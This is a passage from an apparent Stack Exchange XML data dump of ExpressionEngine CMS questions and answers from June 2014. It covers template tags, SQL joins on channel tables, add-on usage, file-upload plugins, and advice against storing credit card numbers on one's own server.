-- making the member URL for the week /20140623/register or /20140623/profile and so on.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To be able to link this in your templates, here's how to match the weekly URL segment: &lt;code&gt;{current_time format='%Y%m%W'}&lt;/code&gt;. I usually put this in a snippet and just call the snippet in my template. Say my snippet is &lt;code&gt;{sn_member_dir_link}&lt;/code&gt;, my template link will be &lt;code&gt;&amp;lt;a href=&quot;/{sn_member_dir_link}/profile&quot;&amp;gt;My Profile&amp;lt;/a&amp;gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Setting the &lt;code&gt;profile_trigger&lt;/code&gt; as the week's date is better than a random number if you need to access those templates on the front-end. If you don't need to use the native EE profile templates, just do this in your config.php: &lt;code&gt;$config['profile_trigger'] = rand(0,time());&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-06-03T16:33:10.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22401" PostTypeId="1" AcceptedAnswerId="22467" CreationDate="2014-06-03T17:02:07.017" Score="2" ViewCount="81" Body="&lt;p&gt;Is it possible to change a Content Element Name when using Content Elements? I can only see how to delete and re-add the Content Element from scratch, but you then lose all your data. I'm using Content Elements 1.6.10 and EE 2.8.1, and thanks in advance for any help.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2014-06-05T14:37:14.233" Title="Is it possible to change a Content Element Name when using Content Elements?" Tags="|control-panel|custom-fields|content-elements|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22402" PostTypeId="2" ParentId="22393" CreationDate="2014-06-03T17:12:53.423" Score="5" Body="&lt;p&gt;My answer assumes you are for example trying to pull channel data manually. I'm not entirely sure of the OOP / Foreign key part of the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you need to understand the &lt;code&gt;exp_channel_titles&lt;/code&gt; and &lt;code&gt;exp_channel_data&lt;/code&gt; tables. I will only go into the information that's relevant for basic database interaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;exp_channel_titles&lt;/strong&gt; contains the basic entry information without the custom fields. Think of the &lt;code&gt;title&lt;/code&gt;, &lt;code&gt;url_title&lt;/code&gt;, &lt;code&gt;sticky&lt;/code&gt;, &lt;code&gt;entry_date&lt;/code&gt; and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;exp_channel_data&lt;/strong&gt; contains the custom field data of entries. The columns are named after the field id's that can be retrieved from the &lt;code&gt;exp_channel_fields&lt;/code&gt; table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So say you wan't to query a certain entry and you only have the &lt;code&gt;url_title&lt;/code&gt; available you might want to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT &#xA;    `exp_channel_titles`.`title`,&#xA;    `exp_channel_data`.`field_id_1`&#xA;FROM &#xA;    `exp_channel_titles`&#xA;LEFT JOIN&#xA;    `exp_channel_data` ON `exp_channel_data`.`entry_id` = `exp_channel_titles`.`entry_id`&#xA;WHERE &#xA;    `exp_channel_titles`.`url_title` = 'lorem-ipsum';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$result = ee()-&amp;gt;db&#xA;    -&amp;gt;select('exp_channel_titles.title, exp_channel_data.field_id_1')&#xA;    -&amp;gt;join('exp_channel_data', 'exp_channel_data.entry_id = exp_channel_titles.entry_id')&#xA;    -&amp;gt;get('exp_channel_titles')&#xA;    -&amp;gt;result_array();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course this is a very simplistic scenario. There are fields that have tables of their own that need to be taken into the queries. In some cases this can get quite complicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to find relationships between entries you need the &lt;code&gt;exp_relationships&lt;/code&gt; table. It's a many to many setup where you have a parent and child id for the entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this is what you are after.&lt;/p&gt;&#xA;" OwnerUserId="2146" LastEditorUserId="2146" LastEditDate="2014-06-04T18:15:01.763" LastActivityDate="2014-06-04T18:15:01.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22403" PostTypeId="2" ParentId="22279" CreationDate="2014-06-03T19:15:47.943" Score="1" Body="&lt;p&gt;Hmm, probably hard to do in a categories loop. I would try using a product search loop (&lt;code&gt;{exp:store:search}&lt;/code&gt;) along with the &lt;code&gt;search:price:min=&quot;0.01&quot;&lt;/code&gt; parameter (see the &lt;a href=&quot;https://exp-resso.com/docs/search_tag.html&quot; rel=&quot;nofollow&quot;&gt;search paramater&lt;/a&gt; docs). You might have to do this once and silently assemble a PHP array of entry IDs and category IDs, sort them by category, then output in groups.&lt;/p&gt;&#xA;" OwnerUserId="489" LastActivityDate="2014-06-03T19:15:47.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22404" PostTypeId="1" AcceptedAnswerId="22447" CreationDate="2014-06-03T19:55:07.020" Score="0" ViewCount="130" Body="&lt;p&gt;I'm using the tag below to display the categories of an entry using the entry_id. I'm using those categories to generate a form. I want to exclude specific category groups as they aren't needed in the form. When I use the tag below, the excl_group_id parameter doesn't work if the entry_id parameter is included. if I remove the entry_id parameter, the excl_group_id parameter works, but it then lists all categories for that channel and not just the selected categories from that entry...Is it possible to get that excl_group_id to work along with the entry_id parameter?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products_beds&quot; disable=&quot;categories|member_data|category_fields|pagination&quot; url_title=&quot;{segment_4}&quot; sort=&quot;asc&quot; dynamic=&quot;yes&quot;}&#xA;&#xA;{exp:gwcode_categories entry_id=&quot;{entry_id}&quot; channel=&quot;products_beds&quot; style=&quot;linear&quot; excl_group_id=&quot;4&quot;}&#xA;    {!— code to generate form based on categories —}&#xA;{/exp:gwcode_categories}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="603" LastActivityDate="2014-06-05T02:51:56.947" Title="using GWCode Categories, trying to exclude a category group and only show cats assigned to entry_id" Tags="|categories|gwcode-categories|entryid|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22405" PostTypeId="2" ParentId="22362" CreationDate="2014-06-03T20:16:05.967" Score="1" Body="&lt;p&gt;Another option if available in your build would be to use &lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt;. You could simply build a list containing the following for each &lt;code&gt;ranking&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;points&lt;/li&gt;&#xA;&lt;li&gt;team&lt;/li&gt;&#xA;&lt;li&gt;goals_scored&lt;/li&gt;&#xA;&lt;li&gt;goals_against&lt;/li&gt;&#xA;&lt;li&gt;goals_difference (which you could calculate using something like &lt;a href=&quot;http://devot-ee.com/add-ons/mx-calculator&quot; rel=&quot;nofollow&quot;&gt;mx calculator&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You could then use &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aget_list%7D#multiple-orders-and-sorts&quot; rel=&quot;nofollow&quot;&gt;multiple orders and sorts&lt;/a&gt; (amongst which the goals difference) when using &lt;code&gt;{exp:stash:get_list}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not tested but something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Build list&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;st_rankings&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:channel:entries channel=&quot;ranking&quot; disable=&quot;categories|category_fields|member_data|pagination&quot; dynamic=&quot;no&quot;}&#xA;        {stash:item_team}{team}{/stash:item_team}&#xA;        {stash:item_points}{points}{/stash:item_points}&#xA;        {stash:item_goals_scored}{goals_scored}{/stash:item_goals_scored}&#xA;        {stash:item_goals_against}{goals_against}{/stash:item_goals_against}&#xA;        {stash:item_goals_difference}{exp:mx_calc expression=&quot;{goals_scored} - {goals_against}&quot;}{/stash:item_goals_difference}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Output list&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;st_rankings&quot; orderby=&quot;item_points|item_goals_difference&quot; sort=&quot;desc|desc&quot; sort_type=&quot;numeric|numeric&quot;}&#xA;    &amp;lt;h2&amp;gt;Team: {item_team}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;Points: {item_points}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;Goals scored: {item_goals_scored}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;Goals against: {item_goals_against}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;Goals difference: {item_goals_difference}&amp;lt;/p&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2014-06-04T20:46:30.497" LastActivityDate="2014-06-04T20:46:30.497" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22406" PostTypeId="1" CreationDate="2014-06-03T20:23:17.760" Score="0" ViewCount="25" Body="&lt;p&gt;I've just installed Cartthrob 2.5 and it looks as though the language files aren't loading properly in the admin area. Specifically the &quot;CartThrob Price - By Member Group&quot; and &quot;CartThrob Price - Quantity&quot; field types:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JB13J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The language files are definitely on the server, so I'm not sure what's going on. Anyone else noticed this??&lt;/p&gt;&#xA;" OwnerUserId="995" LastActivityDate="2014-06-03T20:23:17.760" Title="Language Files Don't Appear To Be Loading" Tags="|cartthrob|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22408" PostTypeId="1" CreationDate="2014-06-03T21:23:57.573" Score="0" ViewCount="123" Body="&lt;p&gt;I have a member registration form with standard fields. One of them is State, which is a Select List with state abbreviations as options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lately, when users attempt to register, they are told &lt;code&gt;The following field contains an invalid selection: State&lt;/code&gt; and invited to return to correct the form where the state is selected. Choosing any other state repeats the error. However, we can see that &lt;code&gt;m_field_id_7:IL&lt;/code&gt;, for example, is in the POST request like any other field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why might this be happening and how can we diagnose it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; added images that show the nature of the form and how it behaves. It doesn't use AJAX -- just normal member fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1F5V9.png&quot; alt=&quot;form and its fields&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jdkgT.png&quot; alt=&quot;state field properties&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kCOIh.png&quot; alt=&quot;state select in the frontend&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MaFWY.png&quot; alt=&quot;state select, HTML, in inspector&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hTb59.png&quot; alt=&quot;the field being submitted in the POST request. It&amp;#39;s not AJAX.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rcZjQ.png&quot; alt=&quot;the error message returned by EE&amp;#39;s validation on the error page.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1518" LastEditorUserId="1518" LastEditDate="2014-06-04T13:15:22.280" LastActivityDate="2014-06-04T13:15:22.280" Title="Member registration rejecting valid selection option" Tags="|members|forms|fields|registration|validation|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22410" PostTypeId="2" ParentId="22377" CreationDate="2014-06-04T00:21:47.060" Score="0" Body="&lt;p&gt;The CartThrob support team doesn't seem to be actively monitoring StackExchange recently, but they do seem to respond to their Twitter feed more regularly.  You might want to try asking them there:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://twitter.com/cartthrob/with_replies&quot; rel=&quot;nofollow&quot;&gt;https://twitter.com/cartthrob/with_replies&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still get no love, then you could also try scheduling a callback/chat through their support system, which has been pretty reliable in my limited experience:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://support.mightybigrobot.com/&quot; rel=&quot;nofollow&quot;&gt;http://support.mightybigrobot.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2842" LastEditorUserId="2842" LastEditDate="2014-06-12T08:03:45.293" LastActivityDate="2014-06-12T08:03:45.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22411" PostTypeId="1" CreationDate="2014-06-04T01:53:16.903" Score="2" ViewCount="250" Body="&lt;p&gt;Is it possible to retain the EE session when accessing a url in the same domain via cURL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is because the page accessed in the cURL call is dependent on EE's session variables.&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2016-01-08T17:47:36.283" Title="EE Session and cURL" Tags="|sessions|curl|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22413" PostTypeId="1" AcceptedAnswerId="22434" CreationDate="2014-06-04T05:45:48.607" Score="0" ViewCount="167" Body="&lt;p&gt;I need to show channel entries in the form of a grid. The grid has four columns and five rows. Therefore I show the first 20 entries. I need to use pagination to show the next 20 entries. I am not able to think of how to accomplish this. Any help would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3059" LastActivityDate="2014-06-04T16:41:14.360" Title="I need to show channel entries in four columns and multiple rows ordered by latest entry first" Tags="|channel-entries|channel|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22414" PostTypeId="1" AcceptedAnswerId="22417" CreationDate="2014-06-04T06:55:09.750" Score="0" ViewCount="483" Body="&lt;p&gt;how can i upload image in a channel using simple html form and create a new entry for every individual entry in channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i can't use channel form due to some issues so i have to upload it with simple html form &lt;/p&gt;&#xA;&#xA;&lt;p&gt;channel API can used for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any Idea how to do it.&lt;/p&gt;&#xA;" OwnerUserId="3060" LastActivityDate="2014-06-04T09:21:06.573" Title="how to upload image and create channel entry using simple html form in expression engine" Tags="|ee2|channel|channel-entries-api|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22415" PostTypeId="1" CreationDate="2014-06-04T07:49:41.863" Score="0" ViewCount="125" Body="&lt;p&gt;Has anyone used this add-on: &lt;a href=&quot;http://devot-ee.com/add-ons/entry-type&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Entry Type field&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have it working in the publish page but when I try to use conditionals on the front it fails to work. The developer outlines use as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if your_entry_type_field == 'link'}&#xA;  {link_url}&#xA;{if:else your_entry_type_field == 'video'}&#xA;  {video}&#xA;{if:elseif your_entry_type_field == 'image'}&#xA;  {image}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This doesn't seem to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the setup for the field:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YHlFK.png&quot; alt=&quot;field&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;prosjektstotte&quot; category=&quot;3&quot; limit=&quot;&quot; status=&quot;open&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; disable=&quot;category_fields|member_data|trackbacks&quot; dynamic=&quot;yes&quot;}  &#xA;  {if open_fields == &quot;programomrader&quot;}&#xA;  &amp;lt;div class=&quot;article-block&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;w-clearfix article-block-inner&quot;&amp;gt;&#xA;      &amp;lt;h1 class=&quot;article-block-title&quot;&amp;gt;{if user_language == &quot;no&quot;}{title}{if:else}{if title_en_programomrader}{title_en_programomrader}{/if}&amp;lt;/h1&amp;gt;&#xA;      &amp;lt;div class=&quot;paragraph article-paragraph-block&quot;&amp;gt;&#xA;      {if user_language == &quot;no&quot;}&amp;lt;h6&amp;gt;{summary_no_programomrader}&amp;lt;/h6&amp;gt;{if:else}&amp;lt;h6&amp;gt;{summary_en_programomrader}&amp;lt;/h6&amp;gt;{/if}&#xA;      {if user_language == &quot;no&quot;}{text_no_programomrader}{if:else}{text_en_programomrader}{/if}&#xA;      &amp;lt;/div&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;   {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I thought it did was show only the content inside the fields made visible by selecting &quot;programomrader&quot;. Instead it is just showing the last entry posted in the &quot;prosjektstotte&quot; channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Putting just &lt;code&gt;{open_fields}&lt;/code&gt; in the template returns &quot;programomrader&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paul&lt;/p&gt;&#xA;" OwnerUserId="249" LastEditorUserId="69" LastEditDate="2014-06-05T13:20:18.803" LastActivityDate="2014-06-05T13:20:18.803" Title="Entry Type field" Tags="|custom-fields|fields|entry-type|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="22416" PostTypeId="1" AcceptedAnswerId="22424" CreationDate="2014-06-04T08:38:35.700" Score="0" ViewCount="50" Body="&lt;p&gt;I am using Low Events and Solspace search and need a way of searching through Events by month and/or year.&#xA;Where do i begin when searching through my low events field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realise i can use low search and will have to if there is no way, but i am already using solspace search so ideally would like to know if its possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My form currently has the following fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Keywords&lt;/li&gt;&#xA;&lt;li&gt;Month&lt;/li&gt;&#xA;&lt;li&gt;Year&lt;/li&gt;&#xA;&lt;li&gt;Category&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="257" LastActivityDate="2014-06-04T12:41:53.987" Title="Solspace Search and Low Events" Tags="|solspace|supersearch|low-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22417" PostTypeId="2" ParentId="22414" CreationDate="2014-06-04T08:41:12.017" Score="1" Body="&lt;p&gt;You ideally should figure out a solution to the channel form error you are receiving, but as a possible workaround you will need to create your own add-on to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is usually best achieved with a module that makes use of ACTions to post your form submission, but as there might be issues with this given the fact that channel forms aren't working properly you might need to do this with a plugin instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example of a plugin that can do this, you would have as your form code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;upload_image&quot; method=&quot;post&quot;&amp;gt;&#xA;   &amp;lt;input type=&quot;text&quot; name=&quot;title&quot;&amp;gt;&#xA;   &amp;lt;input type=&quot;file&quot; name=&quot;file&quot;&amp;gt;&#xA;   &amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{xid_hash}&quot;&amp;gt;&#xA;   &amp;lt;input type=&quot;submit&quot; value=&quot;submit&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would then create another template named &quot;upload_image&quot; which contains your plugin tag, something like {exp:file_upload} or whatever you choose to name your plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your actual plugin then would grab the input data using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/input.html&quot; rel=&quot;nofollow&quot;&gt;EE Input Class&lt;/a&gt; for processing the posted data.  You would then pass these stored variables to the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html&quot; rel=&quot;nofollow&quot;&gt;EE Channel Entries API&lt;/a&gt; to create the actual entry.  As file uploads can be sources of security breaches, you will want to do some php-based sanitization on the file uploads to make sure they are safe to store in your database and then subsequently be output in your site.  To do this, you may want to try using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/guidelines/security.html#saving-images-or-files-to-the-server&quot; rel=&quot;nofollow&quot;&gt;EE Upload Class&lt;/a&gt; which has some built-in security checks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need help getting started with basic plugin structures, you should try making your own 'hello world' plugin by following the developer docs step by step here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/plugins.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/plugins.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you understand the basics and can get your first plugin working, then you can apply the input class and upload class and channel entries API stuff to create your file upload plugin.&lt;/p&gt;&#xA;" OwnerUserId="2842" LastEditorUserId="2842" LastEditDate="2014-06-04T09:21:06.573" LastActivityDate="2014-06-04T09:21:06.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22418" PostTypeId="1" AcceptedAnswerId="22430" CreationDate="2014-06-04T09:25:13.800" Score="0" ViewCount="51" Body="&lt;p&gt;I have a channel field with no results&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;{if no_results} set variable here {/if}&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to set a variable but use it further up the page &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;{if my_custom_var != &quot;empty&quot;}&#xA;do some layout stuff here&#xA;{/if}&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2616" LastActivityDate="2014-06-04T15:17:26.817" Title="Using a custom variable further up the page" Tags="|parse-order|variable|pages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22419" PostTypeId="1" AcceptedAnswerId="22420" CreationDate="2014-06-04T09:52:15.870" Score="6" ViewCount="1189" Body="&lt;p&gt;I am working on a website in ExpressionEngine2 and need to save the user's credit card information in the database as I also need to display this in a dropdownlist in the front end (whichever credit cards are linked to the user)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is the best encryption method I can use to store the credit card details? I need to use the number again for processing payment. I suppose some kind of 2-way encryption?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-04T16:12:38.033" Title="Saving Credit Card Info" Tags="|ee2|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22420" PostTypeId="2" ParentId="22419" CreationDate="2014-06-04T10:26:19.567" Score="18" Body="&lt;p&gt;&lt;strong&gt;READ FIRST&lt;/strong&gt;: &lt;strong&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard&quot;&gt;Payment Card Industry Data Security Standard&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you really looked over all risks of this? The field encryption is not what you need to worry about in this case. I don't even want to advise something about encryption, because I feeling really bad even about this idea. It's no good solution to keep CC info secure enough this way .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To keep such sensitive information, your server must to be certified PCI compliant. It is means that you will needed to build a secure infrastructure &amp;amp; procedure around your server. It is really expensive. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way is use payment gateway for this. Other option is find tokenisation provider - certified  organization which can keep such information. You need to check your bank - they possible provide such service. Or use third-party services - depended on area. For example for SA you can look on &lt;a href=&quot;http://mygate.co.za/products/tokenization-services&quot;&gt;myGate&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="28" LastEditDate="2014-06-04T16:12:38.033" LastActivityDate="2014-06-04T16:12:38.033" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22421" PostTypeId="2" ParentId="22419" CreationDate="2014-06-04T10:36:18.477" Score="13" Body="&lt;p&gt;&lt;strong&gt;DO NOT STORE FULL CREDIT CARD INFO ON YOUR OWN SERVER.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if encrypted, storing full credit card data on your own server is generally a very bad idea due to the security and legal ramifications should your website/database/server ever be compromised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many places store the last four digits of the credit card on their server for quick access or ease of identification, but only the last four digits.  The full card can be associated with the account or payment selection with a payment gateway.  Whichever gateway you are using may already have built-in functionality for this, like for example PayPal:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.paypal.com/docs/integration/direct/store-a-credit-card/&quot;&gt;https://developer.paypal.com/docs/integration/direct/store-a-credit-card/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you do not have to store the actual card number on your server, but then you are still able to allow your site members to store different credit card aliases and last four digits so they can select the one they want to use.  The payment gateway then assumes the risk, PCI compliance, and the complications involved in securing their servers and the stored credit card numbers so you don't have to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do still want to pursue this, then this question is actually better posed at stackoverflow as secure database encryption and PCI compliance and sensitive data storage are not really EE-specific.&lt;/p&gt;&#xA;" OwnerUserId="2842" LastEditorUserId="2842" LastEditDate="2014-06-04T11:26:45.597" LastActivityDate="2014-06-04T11:26:45.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22422" PostTypeId="1" CreationDate="2014-06-04T11:59:49.860" Score="1" ViewCount="35" Body="&lt;p&gt;I’m getting an error when saving an entry. I do the following.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;edit entry&lt;/li&gt;&#xA;&lt;li&gt;select image in Wygwam (browse server opens Assets)&lt;/li&gt;&#xA;&lt;li&gt;save entry&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I save the entry I’ll see an example of the content with a wrong reference to the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;http://www.nederlandsedansdagen.nl/uploads/images/Act_Your_Age/Act_Your_Age_Nederlandse_Dansdagen_datum_klein.jpg}&quot; style=&quot;height:480px; width:480px”&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any idea what’s wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the latest version of Assets and the latest version of Wygwam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope to hear from you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jasper&lt;/p&gt;&#xA;" OwnerUserId="3181" LastActivityDate="2014-06-04T15:23:31.440" Title="Assets 2.3.2 / Wygwam 3.3" Tags="|assets|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22423" PostTypeId="1" AcceptedAnswerId="22425" CreationDate="2014-06-04T12:24:09.700" Score="1" ViewCount="68" Body="&lt;p&gt;I downloaded the free/basic version of ExpressionEngine2 just to get use to EE and all of its features. How would I go about installing / setting it up on my pc? Would I follow the same steps as the commercial one, just without entering the serial key? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I love that there's a free version for beginners to get use to the system and it's inner workings, even though it's very basic..&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-04T13:13:28.573" Title="Installing The Free Version of EE2" Tags="|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22424" PostTypeId="2" ParentId="22416" CreationDate="2014-06-04T12:41:53.987" Score="0" Body="&lt;p&gt;As far as I know, Super Search cannot search directly in the low_events database table, nor can it use the JSON encoded data in the native channel_entries table. If you need to combine Low Events with a search, you'll have to use Low Search.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-06-04T12:41:53.987" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
